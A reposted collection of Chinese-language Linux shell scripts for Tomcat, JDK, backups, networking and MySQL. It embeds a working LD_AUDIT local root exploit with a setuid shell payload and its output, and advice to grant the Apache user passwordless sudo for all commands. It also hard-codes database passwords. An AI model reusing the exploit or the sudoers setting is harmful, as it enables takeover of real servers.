# set the default jdk directory name
jdk_name=”jdk1.6.0_14″
# get the default jdk path
jdk_dir=”$top_dir/$jdk_name”
# parse the parameter $2,set the jdk path,if $2 is not empty.
if [ -n “$2” ]; then
jdk_dir=”$2″
fi

# confirm that the jdk path is effective and set the JAVA_HOME environment variable
if [ -d “$jdk_dir” ]; then
export JAVA_HOME=”$jdk_dir”
export JRE_HOME=”$JAVA_HOME/jre”
#echo “JRE_HOME is $JRE_HOME”
else
echo “The JAVA_HOME environment variable is error,this environment variable is needed to run this program.JAVA_HOME=$jdk_dir.”
echo “The application will exit.”
exit 1
fi

# handle the request:start,stop,restart,version
case “$1″ in
start)
echo -n $”Tomcat server is starting: ”
“$PRGDIR”/startup.sh >/dev/null
RETVAL=$?
if [ $RETVAL -eq 0 ] ; then
echo “Tomcat server has been started.”
else
echo “Tomcat server failed to start.”
fi
echo
;;

stop)
echo -n $”Tomcat server is stopping: ”
“$PRGDIR”/shutdown.sh >/dev/null
RETVAL=$?
if [ $RETVAL -eq 0 ] ; then
echo “Tomcat server has been stopped.”
else
echo “Tomcat server failed to stop.”
fi
echo
;;

version)
“$PRGDIR”/version.sh
;;

restart|reload)
$0 stop
$0 start
;;

*)
echo $”Usage: $0 {start|stop|restart|version}”
echo ” start Start server”
echo ” stop Stop server”
echo ” restart Restart server”
echo ” version What version of tomcat are you running?”
exit 1
esac
############################################
自动安装JDK和Tomcat的shell脚本
#!/bin/bash
#Auto Install JDK、tomcat and they connector.
#执行这个脚本需要在root家目录下放好JDK、tomcat、的tar.gz源码包,
#以及已经执行过的jdk(本人无法做到在jdk执行时输入yes和空格,所以这一步骤需要手动做。
#tomcat安装到/data1/apache-tomcat-5.5.31/,已设置环境变量。
#JDK在/usr/java,已设置环境变量。
#jsp页面的存放目录为“/web”,且该目录已经有了一个叫做test1.jsp的测试文件,
#可以通过http://ip/test1.jsp进行访问。
#apache和tomcat开机自启动。
#防火墙80端口打开。
#Author
# 20101117 yuchao1@staff.sina.com.cn Version 1.0

##################
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
########Check software development environment.
#rpm -q gcc gcc-c++ autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel > /dev/null
if [ “$?” != 0 ] ;
then
echo “Please check your need software”
exit 0
fi
# echo “proceed”
############Check install files:apache tomcat JDK tomcat-connectors
./jdk-6u22-linux-i586.bin
##########首先给JDK文件当前用户可执行的权限,如chmod 700 jdk* ,然后执行该文件,读取许可协议后输入“yes”即可安装,安装完成后最后在当前目录获得一个jdk目录。
if [ ! -e apache-tomcat-6.0.*.tar* ];then
echo “I cann’t find tomcat source file.”
exit 0
fi
if [ ! -d jdk1.6* ];then
echo “I cann’t find JDK directory.”
exit 0
fi
############Install and setup JAVA environment
mv jdk1.6* /usr/java
cat >> /etc/profile << EFF
########################################
JAVA_HOME=/usr/java
JRE_HOME=$JAVA_HOME/jre
CLASSPATH=:$JAVA_HOME/lib:$JRE_HOME/lib
PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH
export JAVA_HOME JRE_HOME CLASSPATH PATH
########################################
EFF
source /etc/profile
#######################

java -version
if [ “$?” != 0 ] ;
then
echo “I cann’t set java path.”
exit 0
fi
###########Install Tomcat,and setup tomcat environment。
cd –
tar zxvf apache-tomcat*
mv apache-tomcat-6.0.29/ /data1/apache-tomcat-6.0.29/
cat >> /etc/profile << TTD
TOMCAT_HOME=/data1/apache-tomcat-6.0.29/
PATH=$PATH:$TOMCAT_HOME/bin/:/usr/local/apache2/bin:
export JAVA_HOME JRE_HOME CLASSPATH PATH TOMCAT_HOME
TTD
source /etc/profile
############Start Tomcat
sh /data1/apache-tomcat-5.5.31/bin/startup.sh
sleep 5
curl 127.0.0.1:8080 |grep “Thanks for using Tomcat”
if [ “$?” != 0 ] ;
then
echo “I think install tomcat is unfinished .”
exit 0
fi

################Set tomcat
########Creat Catalina directory and configuration file.
mkdir -p $TOMCAT_HOME/conf/Catalina/localhost
cat >> $TOMCAT_HOME/conf/Catalina/localhost/ROOT.xml << DDQ
<Context path=”/” docBase=”/web” debug=”0″ workDir=”/tmp” reloadable=”false”/>
DDQ
##########modify server.xml
#sed -i ‘s/appBase=”webapps”/appBase=”/web”/’ /data1/apache-tomcat-5.5.31//conf/server.xml
#sed -i ‘/xmlValidation=”false” xmlNamespaceAware=”false”>/a<Context path=”/” docBase=”/web” debug=”0″ workDir=”/tmp” reloadable=”false”/>’ /data1/apache-tomcat-5.5.31//conf/server.xml
##############################################
cat >> /data1/apache-tomcat-5.5.31/conf/server.xml << SERVER
<?xml version=”1.0″ encoding=”ISO8859-1″?>
<Server>
<Listener className=”org.apache.catalina.core.AprLifecycleListener”/>
<Listener className=”org.apache.catalina.mbeans.GlobalResourcesLifecycleListener”/>
<Listener className=”org.apache.catalina.storeconfig.StoreConfigLifecycleListener”/>
<Listener className=”org.apache.catalina.mbeans.ServerLifecycleListener”/>
<GlobalNamingResources>
<Environment
name=”simpleValue”
type=”java.lang.Integer”
value=”30″/>
<Resource
auth=”Container”
description=”User database that can be updated and saved”
name=”UserDatabase”
type=”org.apache.catalina.UserDatabase”
pathname=”conf/tomcat-users.xml”
factory=”org.apache.catalina.users.MemoryUserDatabaseFactory”/>
<Resource
name=”JDBC/vpayBank”
type=”javax.sql.DataSource”
driverClassName=”com.mysql.jdbc.Driver”
password=”asdf1234″
maxIdle=”5″
maxWait=”5000″
username=”pay”
url=”jdbc:mysql://*.*.*.*”
maxActive=”200″/>
</GlobalNamingResources>
<Service
name=”Catalina”>
<Connector
port=”80″
redirectPort=”8443″
connectionTimeout=”30000″
maxSpareThreads=”75″
maxThreads=”150″
URIEncoding=”UTF-8″
minSpareThreads=”25″>
</Connector>
<Connector
port=”8009″
redirectPort=”8443″
protocol=”AJP/1.3″>
</Connector>
<Engine
defaultHost=”localhost”
name=”Catalina”>
<Realm className=”org.apache.catalina.realm.UserDatabaseRealm”/>
<Host
appBase=”webapps”
name=”localhost”>
</Host>
</Engine>
</Service>
</Server>
SERVER
#creat test website.
mkdir /web
cat >>/web/test1.jsp<< WEB
<%@ page contentType=”text/html;charset=gbk” %>
<%
String str1=”Hello World!”;
out.println(str1);
%>
WEB
#######################
#JDBC 配置
cat >>/data1/apache-tomcat-5.5.31/conf/Catalina/localhost/vpayBank.xml<< JDBC
<?xml version=”1.0″ encoding=”ISO8859-1″?>
<Context>
<Resource
name=”JDBC/Test”
type=”javax.sql.DataSource”
driverClassName=”com.mysql.jdbc.Driver”
password=”12345″
maxIdle=”5″
maxWait=”5000″
username=”pay”
url=”jdbc:mysql://*.*.*.*”
maxActive=”200″/>
</Context>
JDBC

##########restart tomcat
/data1/apache-tomcat-5.5.31/bin/shutdown.sh
sleep 5
/data1/apache-tomcat-5.5.31/bin/startup.sh

########查看效果:
sleep 5
curl 127.0.0.1/test1.jsp
curl 127.0.0.1/test1.jsp |grep Hello && echo “Completed”
#########Add auto start开机自启动
sed -i ’2a source /etc/profile’ /data1/apache-tomcat-5.5.31/bin/startup.sh
echo “/data1/apache-tomcat-5.5.31//bin/startup.sh” >> /etc/rc.local

#########setting firewall
#sed -i ‘/–dport 22 -j ACCEPT/a-A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 80 -j ACCEPT’ /etc/sysconfig/iptables
#/etc/init.d/iptables restart
########################################
显示linux操作系统当前用户名 echo ${LOGNAME}
或你这个有意思啊who am i| awk ‘{print $1}’
或echo “$USER”
或whoami
########################################

########################################

MySQL数据库每日自动备份的脚本
#/bin/bash
mysqldump –user=DB_USER –password=’DB_PASSWORD’ –databases DB_NAME | gzip > /path/to/backup/DB_NAME-`date +%Y%m%d%H%M`.sql.gz
find /path/to/backup -name “*.gz” -mtime +60 -exec /bin/rm {} ;

########################################
自动发送带附件的邮件 将一个目录下面的文件打包,并以目录名+当前时间命名,用mutt发送到自己的邮箱
#!/bin/bash
currenttime=`date +%Y.%m.%d.%H.%M.%S`
currentdir=$(basename `pwd`)
filename=$currentdir.$currenttime.zip
echo $filename
zip -r $filename * -x “pdf/*” “tmp/*” “*.o” “*.zip”
echo “”|mutt -s $filename -a ./$filename — yourname@126.com
rm $filename
########################################

改变Linux下的语言环境
lang=`locale | grep ‘LANGUAGE’|cut -d= -f2`

if [ “$lang” == “en_US.utf-8” ];then
lang=’zh_CN.utf-8′
elif [ $lang == ‘zh_CN.utf-8’ ];then
lang=’en_US.utf-8′
else
echo -e “System Language is not Chinese or Englishn”
fi
LANGUAGE=”$lang”
export LANGUAGE
########################################

shell脚本循环判断进程是否存在
#!/bin/sh

while true
do
process=`ps aux | grep mysqld | grep -v grep`;

if [ “$process” == “” ]; then
sleep 1;
echo “no process”;
else
echo “process exsits”;
break;
fi
done


#!/bin/ksh

while true
do
ps aux | grep mysqld | grep -v grep && { echo ‘ok’ ; break; } || { sleep 1 ; echo ‘no’; }
done

########################################

不重启系统,不知道root密码,普通用户拥有root权限
[test@demon ~]$ mkdir /tmp/a
[test@demon~]$ ln -s /bin/ls /tmp/a/b
[test@demon ~]$ exec 3< /tmp/a/b
[test@demon ~]$ gcc -w -fPIC -shared -o /tmp/a payload.c
[test@demon ~]$ LD_AUDIT=”$ORIGIN” exec /proc/self/fd/3
payload.c
[root@demon ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

payload.c内容如下

void __attribute__((constructor)) init()
{
setuid(0);
system(“/bin/bash”);
}
########################################

实时查看linux网卡流量

#!/bin/bash
while [ “1” ]
do
eth=$1
RXpre=$(cat /proc/net/dev | grep $eth | tr : ” ” | awk ‘{print $2}’)
TXpre=$(cat /proc/net/dev | grep $eth | tr : ” ” | awk ‘{print $10}’)
sleep 1
RXnext=$(cat /proc/net/dev | grep $eth | tr : ” ” | awk ‘{print $2}’)
TXnext=$(cat /proc/net/dev | grep $eth | tr : ” ” | awk ‘{print $10}’)
clear
echo -e “t RX `date +%k:%M:%S` TX”
RX=$((${RXnext}-${RXpre}))
TX=$((${TXnext}-${TXpre}))

if [[ $RX -lt 1024 ]];then
RX=”${RX}B/s”
elif [[ $RX -gt 1048576 ]];then
RX=$(echo $RX | awk ‘{print $1/1048576 “MB/s”}’)
else
RX=$(echo $RX | awk ‘{print $1/1024 “KB/s”}’)
fi

if [[ $TX -lt 1024 ]];then
TX=”${TX}B/s”
elif [[ $TX -gt 1048576 ]];then
TX=$(echo $TX | awk ‘{print $1/1048576 “MB/s”}’)
else
TX=$(echo $TX | awk ‘{print $1/1024 “KB/s”}’)
fi

echo -e “$eth t $RX $TX ”
done
########################################
查看红帽 Linux (CentOS)的版本

cat /etc/redhat-release
##or
cat /etc/issue
########################################

清除php木马的脚本
网站一旦被挂马,将会在各种搜索引擎的结果中被拦截,客户桌面客户端的杀毒软件会阻断用户访问并报警,将会导致网站访问量急剧下滑及用户数据被窃取的后果。

大部分php中了木马,会插入一段php代码。
类似如下: eval(base64_decode(‘xxxxxxxxxxxxxxxxxxxxx’));
这里我写了一个简单的shell脚本用于清除此类木马。
#!/bin/bash
until [ $# -eq 0 ]
do
sed ‘s/eval(base.*;//g’ $1>/tmp/t
if [ $? = 0 ]; then
cp /tmp/t $1
echo $1
fi
shift
done
用法,把这个脚本存为clean.sh文件。 find |grep “.php$”|xargs ./clean.sh
########################################
Shell自动设置JDK环境变量
#!/bin/bash
find “$PWD” -type f ( -iname ‘*.bin’ ) -print0 | xargs -0 chmod +x
find -type f ( -iname ‘*.bin’ ) -print |
while read filename
do
case “$filename” in
*.bin)
xterm -e “$filename” && rm -if “$filename”
;;
esac
done
OLDIFS=$IFS
IFS=$’n’
for line in `cat ~/.bashrc`
do
if [[ “$line” =~ .*export.* ]]; then
if [[ “$line” =~ .*JAVA_HOME=.* ]]; then
if [[ “$line” =~ =(/([0-9a-zA-Z._]+))+ ]]; then
javahome=$line
fi
fi
fi
if [[ “$line” =~ export PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin$ ]];then
javapath=$line
fi
if [[ “$line” =~ export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib$ ]];then
classpath=$line
fi
done
if [ ! -n “$javahome” ]; then
sed -i ‘$a export JAVA_HOME=’$(pwd)’/jdk1.6.0_32′ ~/.bashrc
else
sed -i ‘s:’${javahome//\/\\}’:export JAVA_HOME=’$(pwd)’/jdk1.6.0_25:g’ ~/.bashrc
fi
if [ ! -n “$javapath” ]; then
sed -i ‘$a export PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin’ ~/.bashrc
fi
if [ ! -n “$classpath” ]; then
sed -i ‘$a export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib’ ~/.bashrc
fi
IFS=$OLDIFS
########################################

用PHP来运行centos系统命令
步骤如下:

vi /etc/sudoers
加上一句 apache ALL=(ALL) NOPASSWD: ALL

然后在php中加上sudo就可以执行任何命令了

<?php
exec(“sudo reboot”);
?>
如果系统运行sudo 反应速度非常慢

可以进行如下操作进行提升速度

用”hostname “命令查看当前主机的主机名称。例如,该命令返回”www.siteyun.com “.

再用vi打开”/etc/hosts”文件,并将”ddx.net”加入到 “127.0.0.1″这行中。

例如:

127.0.0.1 www.siteyun.com localhost.localdomain localhost

保存搞定。

本人用PHP来控制一些服务器重启,及些服务的重启等操作
########################################
shell 脚本配置IP
#!/bin/bash
############################配置IP脚本#####################################
############################ 初学者 #######################################
fun0 () {
ipfile=”/etc/sysconfig/network-scripts/ifcfg-eth0″
hwaddr=`ifconfig |grep eth0 |awk -F ” ” ‘{print $5}’`
device=`ifconfig |grep eth0 |awk -F ” ” ‘{print $1}’`
type=`ifconfig |grep eth0 |awk -F “:” ‘{ print $2 }’|awk -F ” ” ‘{
print $1 }’`
echo “DEVICE=$device” > $ipfile
echo “HWADDR=$hwaddr” >>$ipfile
echo “ONBOOT=yes” >>$ipfile
echo “TYPE=$type” >>$ipfile
}
fun1 () {
echo “Enter the IP that you want to set:”
read IP
echo “Enter the netmask:”
read netmask
echo “Enter the gateway:”
read gateway
echo “Enter the DNS:”
read dns
}
echo “Enter the IP model you want to set (DHCP/STATIC):”
read model
if [ $model = “DHCP” ]
then
fun0
echo “BOOTPROTO=dhcp” >>$ipfile
service network restart
elif [ $model = “STATIC” ]
then
fun1
fun0
echo “BOOTPROTO=none” >>$ipfile
echo “NETMASK=$netmask” >>$ipfile
echo “IPADDR=$IP” >>$ipfile
echo “GATEWAY=$gateway” >>$ipfile
echo “$dns” > /etc/resolv.conf
service network restart

else
echo “error:please enter DHCP or STATIC”
exit 0
fi

########################################
Tomcat自动化升级脚本
#!/usr/bin/sh
#=====================================================
# TOMCAT升级脚本
#
#=====================================================

UPDATE_TEMP_HOME=$BILLING_HOME/temp
UPDATE_BAK_HOME=$BILLING_HOME/update_bak/bak`date +%Y%m%d`
WEBAPPS_HOME=$BILLING_HOME/web/tomcat/webapps

getProcTime()
{
echo `date “+%Y-%m-%d %H:%M:%S”`
}

pLog()
{
_LogFun=$1
_LogTxt=$2
getProcTime | read _ProcTime
echo “${_ProcTime} [${_LogFun}] [${_LogTxt}]”
}

#备份环境
backupEnv()
{
pLog “backupEnv()” “新建备份目录:$UPDATE_BAK_HOME/uip”
mkdir -p $UPDATE_BAK_HOME/uip

#备份代码
pLog “backupEnv()” “备份目录:${BILLING_HOME}/config”

cp -r $BILLING_HOME/config $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/lib”
cp -r $BILLING_HOME/lib $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/jobservices”
cp -r $BILLING_HOME/jobservices $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/report”
cp -r $BILLING_HOME/report $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/resource”
cp -r $BILLING_HOME/resource $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/uip”
cp -r $BILLING_HOME/uip/* $UPDATE_BAK_HOME/uip
pLog “backupEnv()” “备份目录:${BILLING_HOME}/bosstool”
cp $BILLING_HOME/bosstool $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/setbosstoolenv.sh”
cp $BILLING_HOME/setbosstoolenv.sh $UPDATE_BAK_HOME
}

#备份web应用
backupWebapps()
{
backup_path=$UPDATE_BAK_HOME/web

pLog “backupWebapps()” “新建web备份目录:${backup_path}”
mkdir -p $backup_path

#备份war包
pLog “backupWebapps()” “备份war包:${WEBAPPS_HOME}/customreport.war”
mv $WEBAPPS_HOME/customreport.war $backup_path
pLog “backupWebapps()” “备份war包:${WEBAPPS_HOME}/cvbs.war”
mv $WEBAPPS_HOME/cvbs.war $backup_path
pLog “backupWebapps()” “备份war包:${WEBAPPS_HOME}/ocswebservices.war”
mv $WEBAPPS_HOME/ocswebservices.war $backup_path

#备份web应用
pLog “backupWebapps()” “备份web应用:${WEBAPPS_HOME}/customreport”
cp -r $WEBAPPS_HOME/customreport $backup_path
pLog “backupWebapps()” “备份web应用:${WEBAPPS_HOME}/cvbs”
cp -r $WEBAPPS_HOME/cvbs $backup_path
pLog “backupWebapps()” “备份web应用:${WEBAPPS_HOME}/ocswebservices”
cp -r $WEBAPPS_HOME/ocswebservices $backup_path
}

#更新环境
updateEnv()
{
#更新代码
pLog “updateEnv()” “更新前台代码:${BILLING_HOME}/lib”
cp -r $UPDATE_TEMP_HOME/lib $BILLING_HOME
pLog “updateEnv()” “更新前台代码:${BILLING_HOME}/report”
cp -r $UPDATE_TEMP_HOME/report $BILLING_HOME
pLog “updateEnv()” “更新前台代码:${BILLING_HOME}/resource”
cp -r $UPDATE_TEMP_HOME/resource $BILLING_HOME

if [ -f “$UPDATE_TEMP_HOME/bosstool” ]; then
pLog “updateEnv()” “更新脚本文件:${BILLING_HOME}/bosstool”
cp $UPDATE_TEMP_HOME/bosstool $BILLING_HOME
fi

if [ -f “$UPDATE_TEMP_HOME/setbosstoolenv.sh” ]; then
pLog “updateEnv()” “更新脚本文件:${BILLING_HOME}/setbosstoolenv.sh”
cp $UPDATE_TEMP_HOME/setbosstoolenv.sh $BILLING_HOME
fi

#更新war包
pLog “updateEnv()” “更新war包:${WEBAPPS_HOME}/customreport.war”
cp $UPDATE_TEMP_HOME/customreport.war $WEBAPPS_HOME
pLog “updateEnv()” “更新war包:${WEBAPPS_HOME}/cvbs.war”
cp $UPDATE_TEMP_HOME/cvbs.war $WEBAPPS_HOME
pLog “updateEnv()” “更新war包:${WEBAPPS_HOME}/ocswebservices.war”
cp $UPDATE_TEMP_HOME/ocswebservices.war $WEBAPPS_HOME

#删除原web应用
pLog “updateEnv()” “删除应用目录:${WEBAPPS_HOME}/customreport”
rm -rf $WEBAPPS_HOME/customreport/*
pLog “updateEnv()” “删除应用目录:${WEBAPPS_HOME}/cvbs”
rm -rf $WEBAPPS_HOME/cvbs/*
pLog “updateEnv()” “删除应用目录:${WEBAPPS_HOME}/ocswebservices”
rm -rf $WEBAPPS_HOME/ocswebservices/*

#解压war包
pLog “updateEnv()” “解压war包:${WEBAPPS_HOME}/customreport.war”
unzip -q $WEBAPPS_HOME/customreport.war -d $WEBAPPS_HOME/customreport
pLog “updateEnv()” “解压war包:${WEBAPPS_HOME}/cvbs.war”
unzip -q $WEBAPPS_HOME/cvbs.war -d $WEBAPPS_HOME/cvbs
pLog “updateEnv()” “解压war包:${WEBAPPS_HOME}/ocswebservices.war”
unzip -q $WEBAPPS_HOME/ocswebservices.war -d $WEBAPPS_HOME/ocswebservices

#恢复webapps配置文件
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/customreport/WEB-INF/log4j.properties”
cp $UPDATE_BAK_HOME/web/customreport/WEB-INF/log4j.properties $WEBAPPS_HOME/customreport/WEB-INF/log4j.properties
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/cvbs/WEB-INF/log4j.properties”
cp $UPDATE_BAK_HOME/web/cvbs/WEB-INF/log4j.properties $WEBAPPS_HOME/cvbs/WEB-INF/log4j.properties
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/cvbs/WEB-INF/web.xml”
cp $UPDATE_BAK_HOME/web/cvbs/WEB-INF/web.xml $WEBAPPS_HOME/cvbs/WEB-INF/web.xml
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/cvbs/frm/style/zh_CN/pagecss/Login.css”
cp $UPDATE_BAK_HOME/web/cvbs/frm/style/zh_CN/pagecss/Login.css $WEBAPPS_HOME/cvbs/frm/style/zh_CN/pagecss/Login.css
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/ocswebservices/WEB-INF/log4j.properties”
cp $UPDATE_BAK_HOME/web/ocswebservices/WEB-INF/log4j.properties $WEBAPPS_HOME/ocswebservices/WEB-INF/log4j.properties

}

#暂停进程
stopEnv()
{
pLog “stopEnv()” “停止tomcat”
$BILLING_HOME/bosstool stop tomcat
pLog “stopEnv()” “停止jobservices”
$BILLING_HOME/bosstool stop jobservices
pLog “stopEnv()” “停止uipserver”
$BILLING_HOME/bosstool stop uipserver
}

#启动进程
startEnv()
{
pLog “startEnv()” “启动tomcat”
$BILLING_HOME/bosstool start tomcat
pLog “startEnv()” “启动jobservices”
$BILLING_HOME/bosstool start jobservices
pLog “startEnv()” “启动uipserver”
$BILLING_HOME/bosstool start uipserver
}

main()
{
x=`ls $UPDATE_TEMP_HOME|wc -w`;

if [[ $x = 0 ]]; then
pLog “main()” “没有更新包,请上传更新包!”
else
pLog “main()” “开始更新前台环境…”
pLog “main()” “开始备份前台代码…”
backupEnv
pLog “main()” “前台代码备份完毕”

pLog “main()” “开始备份web应用…”
backupWebapps
pLog “main()” “web应用备份完毕”

pLog “main()” “停止所有进程,开始更新文件…”
stopEnv
updateEnv
pLog “main()” “文件更新完毕”

#pLog “main()” “删除临时目录”
#rm -rf $UPDATE_TEMP_HOME/*

pLog “main()” “前台环境更新完毕,启动所有进程”
#startEnv()
fi

}

main
########################################
Linux 定期备份脚本
#!/bin/bash
#author: InBi
#date: 2011-08-05
#role: backup files periodically.
#website: http://www.itwhy.org/2011/07-28/707.html
##################################################
LogFile=/backup/log/`date +”%Y-%m”`.log
SourceDir=/var/RDfile
BakDir=/backup
RetainDay=20
ProjectLst=/backup/project.lst
##################################################
DATE=`date +”%Y-%m-%d”`
echo “backup start at $(date +”%Y-%m-%d %H:%M:%S”)” >$LogFile
echo “————————————————–” >>$LogFile
cd $BakDir
PROJECTLIST=`cat $ProjectLst`
for Project in $PROJECTLIST
do
ProjectData=$SourceDir/$Project
DestDir=$BakDir/$Project
PackFile=$DATE.$Project.tgz
if [ -f $BakDir/$PackFile ]
then
echo “backup file have exist !” >>$LogFile
else
cp -RHpf $ProjectData $DestDir >/dev/null
tar -zcvf $PackFile $Project >/dev/null
echo “backup $Project done into $PackFile” >>$LogFile
rm -rf $Project
fi
done
find $Bakdir -type f -mtime +$RetainDay -name “*.$Project.tgz” -exec rm {} ; >/dev/null
echo “————————————————–” >>$LogFile
echo “backup end at $(date +”%Y-%m-%d %H:%M:%S”)” >>$LogFile
echo ” ” >> $LogFile
exit 0
########################################
sed 常用脚本

#sed删除最后3行
tac file|sed 1,3d|tac
sed ‘$d’ file|sed ‘$d’ |sed ‘$d’

#匹配2个单词
grep -E “abc|fred” temp

#精确匹配
cat file|grep “<abc>”

参考

http://bbs.chinaunix.net/viewthread.php?tid=479709&page=1

########################################
Centos vsftpd 安装
echo “============================install vsftpd==================================”
yum -y remove vsftpd
yum -y install vsftpd

rm -f /etc/vsftpd/vsftpd.conf
cat >>/etc/vsftpd/vsftpd.conf<<EOF
# Example config file /etc/vsftpd/vsftpd.conf
#anonymous_enable=YES
local_enable=YES
write_enable=YES
local_umask=022
#anon_upload_enable=YES
#anon_mkdir_write_enable=YES
dirmessage_enable=YES
xferlog_enable=YES
connect_from_port_20=YES
#chown_uploads=YES
#chown_username=whoever
#xferlog_file=/var/log/xferlog
xferlog_std_format=YES
#idle_session_timeout=600
#data_connection_timeout=120
#nopriv_user=ftpsecure
#async_abor_enable=YES
#ascii_upload_enable=YES
#ascii_download_enable=YES
ftpd_banner=Welcome to FTP service.
#deny_email_enable=YES
#banned_email_file=/etc/vsftpd/banned_emails
#chroot_list_enable=YES
#chroot_list_file=/etc/vsftpd/chroot_list
#ls_recurse_enable=YES
listen=YES
#listen_ipv6=YES
pam_service_name=vsftpd
userlist_enable=YES
tcp_wrappers=YES
use_localtime=YES
chroot_local_user=YES
EOF

#权限设置
setsebool -P ftpd_disable_trans 1

#初次启动无需重启服务,后面会重启服务器
cat >>/etc/rc.local<<EOF
service vsftpd restart
EOF

#创建ftp账号
echo “============================ ftp username and password =========================”
mkdir -p /web/http
useradd -d /web/http bibinet
setfacl -R -m u:bibinet:rwx /web/http/
passwd bibinet
#查看账号
#finger bibinet

########################################
Shell MySql Tool
#!/bin/bash
#
# Version 0.02 – JF Nutbroek 2007
#

# Path to MySQL binary
MYSQL=”/opt/lampp/bin/mysql”

# Code starts here

check() {
OUT=$?
if [ ! $OUT -eq 0 ]; then
echo “Error!”
exit 2
fi
}

getinfo() {
echo “##### WARNING – Expert only! #####”
echo “”
echo “Please enter your MySQL username [enter=root]”
read USERNAME
if [ “$USERNAME” = “” ]; then
USERNAME=”root”
fi
echo “Please enter your MySQL password”
stty -echo
read PASSWORD
stty echo
echo “”
DBNAMES=”`$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost –batch –skip-column-names -e “show databases” | sed ‘s/ /%/g’`”
PS3=’Please select the database:’
select DB in $DBNAMES ; do
break
done
echo “”
}

optimize() {
clear
echo “Optimizing database…”
echo “”
getinfo
TABLENAMES=”`$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost -D $DB -e “show tablesG;” | grep ‘Tables_in_’ | sed -n ‘s/.*Tables_in_.*: ([_0-9A-Za-z]*).*/1/p’`”
for TABLENAME in $TABLENAMES
do
$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost -s -D $DB -e “optimize table $TABLENAME;”
done
echo “”
echo “Completed”
}

repair() {
clear
echo “Repairing database…”
echo “”
getinfo
TABLENAMES=”`$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost -D $DB -e “show tablesG;” | grep ‘Tables_in_’ | sed -n ‘s/.*Tables_in_.*: ([_0-9A-Za-z]*).*/1/p’`”
for TABLENAME in $TABLENAMES
do
$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost -s -D $DB -e “repair table $TABLENAME;”
done
echo “”
echo “Completed”
}

case “$1″ in
‘optimize’)
setterm -background blue
clear
optimize
setterm -background black
;;
‘repair’)
setterm -background blue
clear
repair
setterm -background black
;;
*)
echo “Usage: mysqltool optimize | repair”
esac

exit 0
########################################

shell脚本自动修改IP信息

  1. #!/bin/sh
  2. # BY kerry (聆听未来)
  3. # BLOG:http://kerry.blog.51cto.com
  4. # set variable
  5. ip_mod=$1
  6. mask_mod=$2
  7. gw_mod=$3
  8. dns_mod=$4
  9. hostname_mod=$5
  10. hosts=/etc/hosts
  11. ifcfg=/etc/sysconfig/network-scripts/ifcfg-eth0
  12. network=/etc/sysconfig/network
  13. resolv=/etc/resolv.conf
  14. hwaddr=`grep -i HWADDR $ifcfg|awk -F “=” ‘{print $2}’`
  15. # mod ip、mask、gw、dns、hostname
  16. if [ $# != 5 ];then
  17. cat << EOF
  18. +———————————————————————————–+
  19. ++++++                                              +++++
  20. | ====   这是一个自动修改网络ip、掩码、网关、DNS、主机名的脚本                  ====|
  21. | ====   使用方法:ip_mod ip mask gw dns hostname                    ====|
  22. | ====   例:ip_mod 10.10.10.5 255.255.255.0 10.10.10.1 8.8.8.8 kerry           ====|
  23. ++++++                                              +++++
  24. +———————————————————————————–+
  25. EOF
  26. fi
  27. if [ $# == 5 ];then
  28. /bin/hostname $hostname_modf
  29. cp -r $hosts ${hosts}.bak
  30. echo -e “$ip_mod $hostname_mod” > $hosts
  31. cp -r $ifcfg ${ifcfg}.bak
  32. echo -ne “DEVICE=eth0
  33. BOOTPROTO=static
  34. HWADDR=$hwaddr
  35. IPADDR=$ip_mod
  36. NETMASK=$mask_mod
  37. ONBOOT=yes
  38. ” > $ifcfg
  39. cp -r $network ${network}.bak
  40. echo -ne “NETWORKING=yes
  41. HOSTNAME=$hostname_mod
  42. GATEWAY=$gw_mod
  43. ” > $network
  44. cp -r $resolv ${resolv}.bak
  45. echo -e “nameserver $dns_mod” > $resolv
  46. # restart network
  47. service network restart
  48. echo “ip、mask、gw、dns、hostname set OK ……………..!!!!!!!”
  49. fi

正则表达式

  • 正则表达式 口诀
    非常不错的口诀,相信学习正则的朋友感觉入门很难,其实并不是想象中的难,
    你看下面不知道是哪位高手整理的口诀,看口诀就知道此人对正则的熟练程度非常高了。
    正则是每个程序员绕不开的堡垒,只有把它攻下来。
    我觉得正则之所以难,第一难是需要记忆,第二难是要求具备抽象逻辑思维。
    签于网上太多的介绍都是一篇凶悍的短文,边看边理解可以,帮助记忆不行。
    又受五笔字型字根表口诀“白手看头三二斤…”的启发,
    试作“正则表达式助记口诀”又名“正则打油诗”
    注:本文仅为学习正则时为了便于记忆而作,不能代替系统而全面的学习过程,
    错漏之处,敬请指正! 

    正则其实也势利,削尖头来把钱揣; (指开始符号^和结尾符号$)
    特殊符号认不了,弄个倒杠来引路; (指. *等特殊符号)
